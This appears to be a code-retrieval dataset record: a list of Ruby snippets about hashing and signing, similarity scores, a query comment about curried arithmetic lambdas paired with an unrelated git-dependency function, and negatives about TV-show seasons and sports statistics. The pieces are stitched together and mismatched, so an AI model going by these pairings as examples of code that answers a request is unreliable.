"def hash\n @real.hash ^ @image.hash\n end",
"def sign_digest(params)\n sign = []\n params.sort.each do |p|\n sign << p[0].to_s + '=' + p[1].to_s + '&'\n end\n sign << \"key=#{@key}\"\n Digest::MD5.hexdigest(sign.join).upcase\n end",
"def sha\n result_hash['sha']\n end",
"def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end",
"def hash_signature_by_method(values)\n case @method\n when :md5 then Digest::MD5.hexdigest(values)\n else Digest::SHA256.hexdigest(values)\n end\n end",
"def hash\n name.hash ^ version.hash\n end",
"def hash(tx)\n Digest::SHA256.hexdigest(Digest::SHA256.hexdigest(tx))\nend",
"def hash() source.hash ^ (target.hash+1); end",
"def hash() source.hash ^ (target.hash+1); end",
"def hash\n @offset.hash ^ @previous_offset.hash ^ @timestamp.hash\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def compact_signature(hash)\n raise BTCError, \"Not implemented\"\n end",
"def hash() #:nodoc:\n prime = 31;\n result = 1;\n result = prime * result + @amount.to_i\n result = prime * result + @new_balance.to_i\n result = prime * result + (@date.nil? ? 0 : Bankjob.date_time_to_ofx(@date).hash);\n result = prime * result + (@raw_description.nil? ? 0 : @raw_description.hash);\n result = prime * result + (@type.nil? ? 0 : @type.hash);\n # don't use value date\n return result;\n end",
"def hash\n value_id.hash\n end",
"def sign(message, foreign_keys)\n raise ArgumentError \"Foreign keys must all have the same hasher\" unless foreign_keys.all?{ |e| e.hasher == hasher }\n\n message_digest = hasher.hash_string(message)\n seed = hasher.hash_array([value, message_digest])\n\n all_keys = hasher.shuffle([self] + foreign_keys, seed)\n\n q_array, w_array = generate_q_w(all_keys, seed)\n ll_array, rr_array = generate_ll_rr(all_keys, q_array, w_array)\n challenge = hasher.hash_array([message_digest] + ll_array + rr_array)\n c_array, r_array = generate_c_r(all_keys, q_array, w_array, challenge)\n\n public_keys = all_keys.map(&:public_key)\n signature = Signature.new(key_image, c_array, r_array, hasher)\n\n [signature, public_keys]\n end",
"def dhash t\n case t\n when nil; dhash(\"nil\")\n when true; dhash(\"true\")\n when false; dhash(\"false\")\n when Integer; dhash([t].pack(\"Q>\"))\n when Float; dhash([t].pack(\"G\"))\n when String; SipHash.digest(sip_key, t)\n when Symbol; dhash(t.to_s)\n when Array; dhash(t.map {|ti| dhash(ti)}.join)\n when Hash; t.inject(0) {|acc,(k,v)| acc ^ dhash([k,v]) }\n else raise ArgumentError, \"cannot hash #{t.inspect}\"\n end\n end",
"def fnv_hash(bytes)\n hash = FNV_BASIS\n bytes.each_byte do |byte|\n hash = (hash ^ byte) * FNV_PRIME % 2**64\n hash -= 2**64 if hash >= 2**63 # simulate overflow of signed long\n end\n\n # cast signed long to signed int\n hash = hash % 2**32\n hash -= 2**32 if hash >= 2**31\n\n # modified absolute value, as per voldemort.routing.ConsistentRoutingStrategy.abs(int)\n hash = 2**31 - 1 if hash == -2**31\n hash = -hash if hash < 0\n hash\n end",
"def sign!(ha)\n ha[:sig] = compute_checksum(ha)\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end",
"def pack_hexdigest(bin)\n bin.unpack('H*'.freeze).first\n end",
"def pack_hexdigest(bin)\n bin.unpack('H*'.freeze).first\n end",
"def hash\n @vector\n end",
"def hash\n value.hash\n end",
"def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end"
] |
[
"0.67283434",
"0.67041343",
"0.6450154",
"0.6276829",
"0.61109936",
"0.6097372",
"0.60829777",
"0.60829777",
"0.60829777",
"0.605123",
"0.605123",
"0.605123",
"0.605123",
"0.605123",
"0.605123",
"0.605123",
"0.6038538",
"0.59944695",
"0.59941167",
"0.598233",
"0.597803",
"0.5967549",
"0.59127074",
"0.58912945",
"0.58752716",
"0.5871303",
"0.5865271",
"0.58504987",
"0.58457637",
"0.5835383",
"0.5827929",
"0.5825782",
"0.5820915",
"0.5814751",
"0.5792257",
"0.5787584",
"0.57816505",
"0.57698655",
"0.57698655",
"0.5764626",
"0.5758494",
"0.5751048",
"0.57509106",
"0.57407445",
"0.5734016",
"0.57265586",
"0.57148147",
"0.57148147",
"0.57148147",
"0.57122785",
"0.57084596",
"0.5702902",
"0.5700323",
"0.5698934",
"0.5690428",
"0.56880563",
"0.5686013",
"0.5681731",
"0.566577",
"0.5661938",
"0.5655749",
"0.5653457",
"0.5648732",
"0.5647978",
"0.56466293",
"0.56173915",
"0.5606434",
"0.56015414",
"0.55954206",
"0.5592662",
"0.5592044",
"0.55871755",
"0.55848986",
"0.55848986",
"0.5584187",
"0.5574471",
"0.5574471",
"0.5574471",
"0.5574471",
"0.5574471",
"0.5574471",
"0.5574471",
"0.5574471",
"0.5574471",
"0.5574471",
"0.5572832",
"0.5571548",
"0.5566903",
"0.55664814",
"0.55607516",
"0.55550706",
"0.55525786",
"0.5545969",
"0.5545969",
"0.55434215",
"0.55406064",
"0.55406064",
"0.55267",
"0.5520225",
"0.5518898"
] |
0.62704587
|
4
|
apply_math = lambda do |auth, , nom| a.send(fn, b) end add = apply_math.curry.(:+) subtract = apply_math.curry.(:) multiply = apply_math.curry.(:) divide = apply_math.curry.(:/)
|
def set_dep(requested_version, whitelisted_repo_key, sha)
if requested_version.include?("git+ssh") # Preserve URL
return "#{ requested_version.split("#").first }##{ sha }"
else
return "#{ whitelisted_repo_key }##{ sha }"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def apply_math(fn, a, b)\n a.send(fn, b)\nend",
"def do_math(a, b, &operation)\n math(a, b, &operation)\nend",
"def do_math(a, b, &operation)\n math(a, b, &operation)\nend",
"def reformat_math_functions\n funcs = %w(min max sum avg count round rounddown roundup sin cos tan)\n regex = /\\b(?<func>#{funcs}.join('|'))\\((?<expr>[^()]+)\\)/\n match = @expression.match(regex)\n\n if match\n func = match.named_captures[\"func\"]\n expr = match.named_captures[\"expr\"]\n @expression = \"#{func.upcase}(#{expr})\"\n end\n end",
"def lambda_math\n math = lambda do\n return 1 + 1\n end\n math.call\n return \"hey\"\nend",
"def compute( &math_func )\n math_func.call( 3, 5 )\nend",
"def math(a, b)\n yield(a, b)\nend",
"def math(a, b)\n yield(a, b)\nend",
"def initialize_math_functions\n Math.methods(false).each do |method|\n math_method = Math.method(method)\n add_function(\n name: method,\n type: :numeric,\n signature: [:numeric],\n body: ->(*args) { math_method.call(*args) }\n )\n end\n end",
"def proc_math\n Proc.new { return 1 + 1 }.call\n return 2 + 2\nend",
"def plus number\n Proc.new do |leftop|\n leftop + number\n end\nend",
"def proc_math\n Proc.new { return 1 + 1 }.call\n\n return 2 + 2\nend",
"def maths(*numbers, options)\n\tnumbers.inject(options[:operation].to_sym)\nend",
"def maths(*numbers, options)\n\tnumbers.inject(options[:operation].to_sym)\nend",
"def adder(a, b)\n lambda { a + b }\nend",
"def arithmetic_proc(target)\n # Fooled you! I metaprogrammed it to save some typing!\n end",
"def arithmetic2(a, b)\nend",
"def add\n C.curry.(->(x, y) { x + y })\n end",
"def calculation(a,b, operation)\n operation.call(a,b)\n end",
"def mathy(n1, n2, operation)\n answer = n1.send(operation, n2).round(4)\n return answer\nend",
"def do_math(operand, val1, val2)\n case operand\n when \"+\"\n val1 + val2\n when \"-\"\n val1 - val2\n when \"*\"\n val1 * val2\n when \"/\"\n val1 / val2\n end\nend",
"def sum(x, op, y)\n x.send(op, y)\nend",
"def sum (operator, a, b)\n if operator == \"exponents\"\n a ** b\n elsif operator == \"square root\"\n Math.sqrt(a)\n end\nend",
"def double(callable)\n callable.call * 2\nend",
"def curry fn,*a\r\n return lambda { |*b|\r\n fn.call(*(a + b))\r\n }\r\nend",
"def do_math(num1, num2, operation)\n case operation\n when '+'\n num1.to_i + num2.to_i\n when '-'\n num1.to_i - num2.to_i\n when '*'\n num1.to_i * num2.to_i\n when '/'\n num1.to_f / num2.to_f\n end\nend",
"def operation(x)\n Math.sqrt(x.abs) + 5 * x ** 3\nend",
"def calculate(op, x, y)\n case op\n when 'plus'\n x.to_f + y.to_f\n when 'minus'\n x.to_f - y.to_f\n when 'divide'\n x.to_f / y.to_f\n when 'multiple'\n x.to_f * y.to_f\n end\nend",
"def lift\n C.curry.(\n ->(bind, unit, f, mx, my) {\n bind.(mx, ->(x) {\n bind.(my, ->(y) {\n unit.(f.(x, y))\n })\n })\n }\n )\n end",
"def add(number)\n Proc.new do |num|\n number + num\n end\nend",
"def apply(*args)\n curry.call(*args)\n end",
"def do_math(number)\n yield(number)\nend",
"def arithmetic(a, b, operator)\n $oper = operator\n case $oper\n when 'add'\n return a + b\n\n when 'subtract'\n return a - b\n\n when 'multiply'\n return a * b\n\n when 'divide'\n return a / b\n \n end\nend",
"def add_and_proc(num_1, num_2, prc)\n sum = num_1 + num_2\n p prc.call(sum)\nend",
"def add_and_proc(num_1, num_2, prc)\n sum = num_1 + num_2\n p prc.call(sum)\nend",
"def calculate\n (2 + 2) * 2\nend",
"def applyOperator(num1, num2, operator)\n return num1.send(operator, num2)\n end",
"def calculate( a, operator, c )\n\tif operator == \"+\"\n\t\ta + c\n\telsif operator == \"-\"\n\t\ta - c\n\telsif operator == \"*\"\n\t\ta * c\n\telsif operator == \"/\"\n\t\ta/c\n\t\t\n\tend\n\t\nend",
"def multiply(a, b)\nend",
"def tan _args\n \"tan _args;\" \n end",
"def method_missing(method, *args, &block)\n if match = /^func_(.*)$/i.match(method.to_s)\n return Soroban::Functions.call(self, match[1], *args)\n elsif match = /^([a-z][\\w]*)=$/i.match(method.to_s)\n return _add(match[1], args[0])\n end\n super\n end",
"def add(*numbers) # The (*) asterick is used to handle methods which have a variable parameter list!!\n numbers.inject(0) { |sum, number| sum + number } \nend",
"def math(operator, first_num, second_num)\n if operator ==\"*\"\n first_num*second_num\n elsif operator == \"/\"\n first_num/second_num\n elsif operator == \"+\"\n first_num+second_num\n else\n first_num-second_num\n end\nend",
"def calculator_1(operator, num1, num2)\n outcome = num1.send(operator, num2)\nend",
"def create_method_from_expressions; end",
"def evaluate(ops)\n \t\tops = tokens(ops)\n \t\tmethods = {:+ => Proc.new{plus()}, :- => Proc.new{minus()}, :* => Proc.new{times()}, :/ => Proc.new{divide()}}\n \t\tops.each do |op|\n \t\t\tif methods.has_key?(op)\n \t\t\t\tmethods[op].call\n \t\t\telse\n \t\t\t\tpush(op)\n \t\t\tend\n \t\tend\n \t\tvalue()\n end",
"def calculation(a, b, &block) # &block is an explicit (named) parameter\n block.call(a, b)\nend",
"def do_math(math)\n case math\n when PARENTHESES_CAPTURE_RX # match parentheses\n math = math.gsub(PARENTHESES_CAPTURE_RX) do |match|\n do_math($1)\n end\n\n do_math(math)\n when /^#{NUMBER_RX}(?:#{SIGN_RX}#{NUMBER_RX})+$/\n solve_math(math)\n when /^#{NUMBER_RX}$/\n math.to_f\n when /^#{SIGN_RX}$/\n math\n else\n raise \"Invalid math expression: #{math}\"\n end\n end",
"def sum (operator, a, b)\n if operator == \"add\"\n a + b\n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a / b\n end\nend",
"def add_and_proc(num1, num2, &proc)\n sum = num1 + num2\n p proc.call(sum)\nend",
"def transmogrifier(a, b, c)\n # (a * b).pow(c)\n (a * b) ** c\nend",
"def multiply a,b\n a*b\nend",
"def calculator(operation, num1, num2)\n \n if [\"+\", \"-\", \"*\" , \"/\"].include?(operation)\n num1.method(operation).(num2)\n else\n puts \"Invalid operation!\"\n nil\n end\nend",
"def calculator(operator, *numbers)\n result = 0\n if operator == \"*\"\n result = 1\n else\n result = numbers[0]\n numbers.shift\n end\n\n numbers.each do |arg|\n #result = arg operator.send result\n result = result.send(operator,arg)\n end\n return result\nend",
"def transmogrifier (a,b,c)\n (a*b)^c\n end",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def add(a, b)\n a + b\nend",
"def double(callable_object)\n callable_object.call * 2\nend",
"def add_and_proc(num_1, num_2, &prc)\n sum = num_1 + num_2\n p prc.call(sum)\nend",
"def add(a, b)\n a + b\nend",
"def do_something (arg1, arg2, arg3)\n\n\targ1^arg2^arg3\nend",
"def fun1(a, b)\n a * b\nend",
"def basic_op(operator, value1, value2)\nvalue1.send operator, value2\nend",
"def basic_op(operator, value1, value2)\nvalue1.send(operator,value2)\nend",
"def double(callable_object)\n callable_object.call * 2\nend",
"def double(callable_object)\n callable_object.call * 2\nend",
"def double(callable_object)\n callable_object.call * 2\nend",
"def addition (a, b)\n a + b\nend",
"def calculate( op, a1, a2 = nil )\n case op\n when :abs; a2\n when :rel; a2\n when :mul; a1 * a2\n when :add; a1 + a2\n when :sub; a1 - a2\n when :inv; a1 * -1\n else 0\n end\n end",
"def multiply (a b)\r\n a * b\r\nend",
"def add(a,b)\n a + b\nend",
"def math(l, w)\n (l * w).round(2)\nend",
"def transmorgifier (num1,num2,num3)\n (num1*num2).pow(num3)\nend",
"def send_as_functions *args\n args.each {|arg| send_as_function arg}\n self\n end",
"def plus(a, b)\n a + b\nend",
"def plus(a, b)\n a + b\nend",
"def calculate operator, num1, num2\n puts \"#{num1} #{operator} #{num2} = #{num1.send(operator, num2)}\"\nend",
"def add (a, b) \n return a + b; \nend",
"def multiply(a, b)\r\n a * b\r\nend",
"def multiply(a, b)\r\n a * b\r\nend",
"def subtractClosure(num)\n return lambda {|x| num - x}\nend",
"def add(a,b)\n return (a + b);\nend",
"def add(a, b)\n return a + b\nend",
"def add(a, b)\n return a + b\nend",
"def add(a, b)\n return a + b\nend",
"def calculator(a , b, operation = \"add\")\n if operation == \"add\"\n add(a, b)\n elsif operation == \"subtract\"\n subtract(a, b)\n elsif operation == \"multiply\"\n multiply(a, b)\n else\n \"That's not a math operation, genius!\"\n end\nend"
] |
[
"0.8413004",
"0.7475554",
"0.7475554",
"0.7047362",
"0.704581",
"0.70108545",
"0.68217874",
"0.68217874",
"0.6734189",
"0.6552945",
"0.6542543",
"0.65246713",
"0.65212643",
"0.65212643",
"0.64313614",
"0.6421027",
"0.64134765",
"0.6411408",
"0.64088756",
"0.6345428",
"0.6327339",
"0.6316769",
"0.6282297",
"0.6240759",
"0.6240265",
"0.61087245",
"0.61011046",
"0.60825974",
"0.60806817",
"0.60663253",
"0.60403544",
"0.6014732",
"0.6007966",
"0.600601",
"0.600601",
"0.5997024",
"0.5985014",
"0.5979129",
"0.59743035",
"0.59674495",
"0.5967021",
"0.59565216",
"0.5952306",
"0.59458494",
"0.5944379",
"0.59370995",
"0.5924742",
"0.5921396",
"0.5908366",
"0.58791816",
"0.5878489",
"0.5871419",
"0.5864624",
"0.585615",
"0.5853308",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58433986",
"0.58409625",
"0.583869",
"0.5836304",
"0.58355296",
"0.58338714",
"0.58231485",
"0.5823087",
"0.5819095",
"0.5819095",
"0.5819095",
"0.58190644",
"0.5818064",
"0.5804149",
"0.57999843",
"0.57950413",
"0.5792835",
"0.5792033",
"0.57893664",
"0.57893664",
"0.5780273",
"0.57784325",
"0.57712275",
"0.57712275",
"0.57655895",
"0.57548285",
"0.5751737",
"0.5751737",
"0.5751737",
"0.5746634"
] |
0.0
|
-1
|
Find first name of season winner based on input season
|
def get_first_name_of_season_winner(data, season)
data[season].each do |person|
return person["name"].split.first if person["status"] == "Winner"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_first_name_of_season_winner(data, season)\n winner = match_contestant(data[season], 'status', 'Winner')\n winner['name'].split[0]\nend",
"def get_first_name_of_season_winner(data, season)\n data.each do |season_iteration, stats|\n if season_iteration == season\n stats.find do |winner|\n if winner[\"status\"] == \"Winner\"\n return winner[\"name\"].split.first\n end\n end\n end\n end\nend",
"def get_first_name_of_season_winner(data, season)\n data[season].each do |person|\n person.each do |k,v|\n if v == \"Winner\"\n full_name = person[\"name\"].split\n return full_name[0]\n end\n end\n end\nend",
"def get_first_name_of_season_winner(data, season)\n first_name = nil\n\n data.each do |season_number, contestant_array|\n # binding.pry\n if season_number == season\n contestant_array.each do |contestant|\n # binding.pry\n if contestant[\"status\"] == \"Winner\"\n first_name = contestant[\"name\"].split.shift\n # binding.pry\n end\n end\n end\n end\n\n first_name\nend",
"def find_name_by( name:, season: )\n recs = @clubs[ name ]\n if recs\n season = Season( season ) ## make sure season is a season obj (and NOT a string)\n ## check season records for name; use linear search (assume only few records)\n recs.each do |rec|\n if season >= rec[0]\n return strip_geo( rec[1][1][1][0] ) # use second arg\n end\n end\n ## if we get here use last name\n strip_geo( recs[-1][1][1][0][0] ) # use first arg\n else\n nil\n end\n end",
"def get_winner(season)\n winner = nil\n season.each do |contestant|\n if contestant[\"status\"] == \"Winner\"\n winner = contestant[\"name\"]\n end\n end\n #binding.pry\n winner\nend",
"def season\n number = ((self.day - 1) / 30) % 4\n case number\n when 0\n return \"spring\"\n when 1\n return \"summer\"\n when 2\n return \"fall\"\n when 3\n return \"winter\"\n end\n end",
"def name\n\t\treturn \"#{year} season\"\n\tend",
"def worst_coach(seasonasstring) # coach name in game team stats\n #inverse of above\n end",
"def least_accurate_team(seasonasstring) # shots in game team stats\n #inverse of above\n end",
"def season\n season_id.nil? ? nil : organization_membership.seasons.find(season_id)\n end",
"def season\n case merch_month\n when 1,2,3,4,5,6\n \"Spring/Summer\"\n when 7,8,9,10,11,12\n \"Fall/Winter\"\n end\n end",
"def flu_season\n event_display(\"It's flu season!\\n One player has been infected and needs some time to recuperate.\")\n {Game.last.players.sample.id.to_s =>\n {wellbeing: -100}\n }\n end",
"def biggest_bust(season)\n season = season.to_i\n @teams.min_by{ |team| team.preseason_to_regular_increase[season] }.team_name\n end",
"def applied_season(season_id)\n seasons.where(org_season_id: BSON::ObjectId.from_string(season_id)).first\n end",
"def winningest_coach(seasonasstring) # coach name in game team stats\n #per season, get list of all coaches - given by arg\n #per coach, find all games played by that coach\n #then count of all games won / count of all games played\n #find highest\n #return name of coach found in 114\n end",
"def biggest_surprise(season)\n season = season.to_i\n @teams.max_by{ |team| team.preseason_to_regular_increase[season] }.team_name\n end",
"def current_season\n season = nil\n\n { \n winter: [ 12, 1, 2 ], \n spring: [ 3, 4, 5 ], \n summer: [ 6, 7, 8 ],\n fall: [ 9, 10, 11 ]\n \n }.each do |key, range|\n if range.include? current_month\n season = key\n break\n end\n end\n\n season\n end",
"def get_season_type\n season_type ? season_type.short_name : '?'\n end",
"def get_season()\n\t\ttime = Time.new\n\n\t\tif(time.month >= 3) && (time.month <= 5)\n\t\t\t\tseason_type = \"Yeah it is Spring\"\n\t\t\telsif (time.month > 5) && (time.month <= 8)\n\t\t\t\tseason_type = \"Everyone Loves Summer\"\n\t\t\telsif (time.month > 8) && (time.month <= 10)\n\t\t\t\tseason_type = \"Put on Your Coat because Autumn is here\"\n\t\t\telse\n\t\t\t\tseason_type = \"Yuck, it's now Winter\"\n\t\tend\n\tend",
"def worst_season(team_id)\n team_id = team_id.to_i\n team = @teams.select { |each_team| each_team.team_id == team_id }.first\n team.season_win_percentages.min_by { |season, percentage| percentage }.first.to_s\n end",
"def best_season(team_id)\n team_id = team_id.to_i\n team = @teams.select { |each_team| each_team.team_id == team_id }.first\n team.season_win_percentages.max_by { |season, percentage| percentage }.first.to_s\n end",
"def get_season_id\n season ? season.id : 0\n end",
"def best_season(id)\n wins = total_wins_per_team_per_season(id)\n totals = total_games_per_team_per_season(id)\n totals.each do |season, total|\n totals[season] = (wins[season] / total.to_f * 100).round(2)\n end\n totals.max_by {|k,v| v}[0]\n end",
"def season\n @season ||= Season.find(@importer_hash.meeting.season_id)\n end",
"def valid_season_name?( name )\n\n return name.downcase =~ /^season /\n\n end",
"def season(yday)\n case yday\n when 80..171\n :midseason\n when 172..265\n :summer\n when 266..355\n :midseason\n else\n :winter\n end\n end",
"def season_names_for_date(date)\n seasons = case date.strftime('%-m').to_i\n when 3..5 then %w[Spring]\n when 6..8 then %w[Summer]\n when 9..11 then %w[Autumn Fall]\n else %w[Winter]\n end\n year = date.year\n seasons.map { |season| \"#{season} #{year}\" }\n end",
"def current_season\n curr_season = seasons.where(\"current_season = ?\", true).first\n\n if curr_season == nil\n curr_season = seasons.last\n end\n\n curr_season\n end",
"def biggest_bust(seasonasstring)\n #get all teams in data\n #find all games played by team in season - given by arg\n #get subset of 95 where p is in season marker\n #count games won in subset on 95 / total games in subset on 95\n #get subset of 85 where r is in season marker\n #count games won in subset on 98 / total games in subset on 98\n #result of line 97 - line 99\n #find highest number\n #return team name of result of line 101\n end",
"def winner_name\n comp = Competitor.find_by_id(self.winner)\n name = comp.name\n return name\n end",
"def get_contestant_name(data, occupation)\n data.each do |season_iteration, stats|\n stats.find do |job|\n if job[\"occupation\"] == occupation\n return job[\"name\"]\n end\n end\n end\nend",
"def scrape_season\n doc = Nokogiri::HTML(open(url))\n \n seasonality_url = doc.search(\"#survival-guide ul li:nth-child(2) a\").attr(\"href\").text #get country weather url\n weather_pg = Nokogiri::HTML(open(seasonality_url))\n \n #get high, low, and best time to visit information\n @high_season = weather_pg.search(\"div.card--page__content p:nth-child(1)\").text\n @low_season = weather_pg.search(\"div.card--page__content p:nth-child(5)\").first.text\n\n shoulder_season = weather_pg.search(\"div.card--page__content p:nth-child(3)\").first.text\n @best_visit_season = \"Best time to visit \" + shoulder_season[16..-1]\n end",
"def current_season\n self.seasons.find(:first,\n :conditions => {:date => Season.maximum('date')})\n end",
"def scan_for_season_names(token, options = T.unsafe(nil)); end",
"def get_contestant_name(data, occupation)\n data.each do |season_hash, info|\n info.each do |detail|\n if detail[\"occupation\"] == occupation\n return detail[\"name\"]\n end\n end\n end\n# binding.pry\nend",
"def get_season_type\n season ? season.get_season_type : (data_import_season ? data_import_season.get_season_type : '?')\n end",
"def get_full_name\n \"#{season.get_season_type}, #{get_event_type} #{get_category_type} #{get_gender_type_code}: #{get_timing}\"\n end",
"def most_accurate_team(seasonasstring) # shots in game team stats\n #get a list of all teams that played in that season - given by arg\n #use above list to sum all shots across all games in season\n #divide above by goals made across all games in season\n #find highest percentage\n #return team name as found in 127\n end",
"def year_to_season(y); \"#{y}-#{sprintf('%02d', (y + 1) % 100)}\"; end",
"def season(series_id, season_id)\n get(\"/catalog/titles/series/#{series_id.to_s}/seasons/#{season_id.to_s}\")\n end",
"def season_number\n @ole.SeasonNumber\n end",
"def get_contestant_name(data, occupation)\n data.each do |season, info|\n info.each do |people|\n people.each do |k,v|\n if v == occupation\n return people[\"name\"]\n end\n end\n end\n end\nend",
"def lowest_scoring_visitor\n @teams.min_by { |team| team.average_away_goals }.team_name\n end",
"def get_contestant_name(data, occupation)\n data.each do |season, person| \n person.each do |person_data|\n return person_data[\"name\"] if person_data[\"occupation\"] == occupation\n end\n end\nend",
"def get_season_hall_of_fame\n @seasons_hall_of_fame ||= retrieve_season_hall_of_fame\n end",
"def get_verbose_name\n \"#{description} (#{get_season_type})\"\n end",
"def winner\n tie_string = \"\"\n @players.each do |player|\n if @position[player] == @length\n tie_string << \"#{player}\"\n end\n end\n\n if tie_string.length > 1\n return \"no one\"\n else\n return tie_string[0]\n end\n\n end",
"def season_with_fewest_games\n seasons = @games.group_by { |game| game.season }\n seasons.min_by { |season, games| games.count }.first\n end",
"def season(year, **options) = get(\"/seasons/#{year}\", **{ sportId: 1 }.merge(options))",
"def season_summary(season, team_id)\n season = season.to_i\n team_id = team_id.to_i\n season_summary_hash(season, team_id)\n end",
"def get_verbose_name\n \"#{description} (#{season_year}) - #{team.name}\"\n end",
"def get_contestant_name(data, occupation)\n name = ''\n data.each do |season, contestants|\n name = contestants.find{|contestant| contestant['occupation'] == occupation}\n break if name != nil\n end\n name['name']\nend",
"def most_hits(seasonasstring) # shots in game team stats\n #get a list of all teams that played in that season\n #use above list to sum all shots across all games in season\n #find highest across list\n #return team name as found in 139\n end",
"def get_searched_seasons\n current_seasons = if params['header_year'].present?\n Season.where( \"header_year LIKE '%#{ params['header_year'] }%'\" )\n else\n Season.is_not_ended\n end\n current_seasons.map{ |season| season.id }\n end",
"def add_named_season_name(named_season_name)\r\n named_season_name << named_season_name\r\n end",
"def select_season\n puts \"Pick an NBA Season by typing in the starting year (1979-2018) or type 'exit' to quit.\\n(ex. 2018 shows 2018-2019 season):\" \n input = gets.strip\n\n # Checks if user entered exit\n if exit?(input)\n self.exit_program\n #Checks if input is a valid year; if valid, loads the season\n elsif (input.to_i.between?(1980,2018))\n self.add_line_break\n self.load_season(input)\n # if not valid, prompts user to enter a season again\n else\n puts \"Invalid year. Try again.\"\n puts \"\"\n self.select_season\n end\n end",
"def season\n Allocine::Season.new(document[\"parentSeason\"][\"code\"])\n end",
"def regular_season_rankings(season = nil)\n stats_request(\"regularSeasonStatRankings\", season).first\n end",
"def get_contestant_name(data, occupation)\n data.each do |season, contestants|\n contestants.each do |contestant_hash|\n if contestant_hash[\"occupation\"] == occupation\n return contestant_hash[\"name\"]\n end\n end\n end\nend",
"def select_winner(passengers)\n # add the code snippet here!\n winner = \" \"\n passengers.each do |suite, name|\n if suite == :suite_a && name.start_with?(\"A\") #boolean operator to check if we have the right suite and if the person in that suite has a name that begins with the letter \"A\"\n winner = name\n end\n end\n winner #call on winner variable to return the name of the lucky winner\nend",
"def biggest_suprise(seasonasstring)\n #as above, but change line 100 to reverse operations, regular percentage - postseason percentage\n end",
"def team\n return self[:team] if self[:team].is_a? Team\n team = if self[:team].split('-').count > 2 or self[:team].to_i > 0 or self.sport.name == 'FWC'\n Team.where(:stats_id => self[:team])\n else\n Team.where(:abbrev => self[:team])\n end\n team.first\n end",
"def get_contestant_name(data, occupation)\n data.each do |season_key, contestants_array|\n contestants_array.each do |contestant_info| \n if contestant_info[\"occupation\"] == occupation\n return contestant_info[\"name\"]\n end \n end \n end \nend",
"def add_named_season(named_season_name, named_season)\r\n named_seasons[named_season_name] = named_season\r\n end",
"def select_winner(passengers)\n # add the code snippet here!\n winner = \"\"\n passengers.each do |suite, name|\n if suite == :suite_a && name.start_with?(\"A\")\n winner = name\n end\n end\n\n winner\nend",
"def retrieve_season_hall_of_fame\n seasons_hall_of_fame = []\n get_involved_teams unless @involved_teams\n\n @involved_teams.each do |team|\n team_placement = {}\n team_placement[:team] = team\n %w[first_place second_place third_place].each_with_index do |rank, index|\n placement = index + 1\n team_placement[rank.to_sym] = team.computed_season_ranking.joins(:season).where(\"seasons.season_type_id = #{@season_type.id} AND computed_season_rankings.rank = #{placement}\").count\n end\n seasons_hall_of_fame << team_placement\n end\n seasons_hall_of_fame.sort { |p, n| (n[:first_place] * 10_000 + n[:second_place] * 100 + n[:third_place]) <=> (p[:first_place] * 10_000 + p[:second_place] * 100 + p[:third_place]) }\n end",
"def tournament_season(id, type = 'sr:tournament')\n get(\"sports/en/tournaments/#{type}:#{id}/seasons.xml\")\n end",
"def rival(team_id)\n team_id = team_id.to_i\n team = @teams.select { |each_team| each_team.team_id == team_id }.first\n rival_id = team.matchup_win_percentage.min_by{|each_team, percentage| percentage}.first\n @teams.select { |each_team| each_team.team_id == rival_id }.first.team_name\n end",
"def get_stats (stats)\n if stats.season_exists\n stats.update_stats\n stats.display\n else\n puts \"There are no recorded statistics for that season.\"\n end\nend",
"def winner\n @players.each do |current_player|\n if current_player.position >= length\n #puts \"#{current_player.name} JUST WON!!!\"\n return \"#{current_player.name}\"\n end\n end\n end",
"def division\n\t\tself.division_season\n\tend",
"def get_contestant_name(data, occupation)\n # code here\n data.each { |season, array|\n #puts array\n array.each {|hash|\n hash.each {|detail, info|\n if info == occupation\n return hash[\"name\"]\n end\n }\n #return puts attribute, stat\n #if stat == \"occupation\"\n # #if stat\n # return name\n #end\n }\n\n }\n\nend",
"def get_swimmer_name\n swimmer ? swimmer.get_full_name : '?'\n end",
"def get_swimmer_name\n swimmer ? swimmer.get_full_name : '?'\n end",
"def set_season\n @season = @serial.seasons.find_by(number: params[:id])\n end",
"def display_meets(season)\n\t\tputs season.title\n\t\tseason.meets.each_with_index do |meet, index|\n\t\t\tputs (index + 1).to_s + \". : \" + meet.opponent\n\t\tend\n\tend",
"def get_team_by_name team\n @standings.detect {|t| t[:name] == team[:name]}\nend",
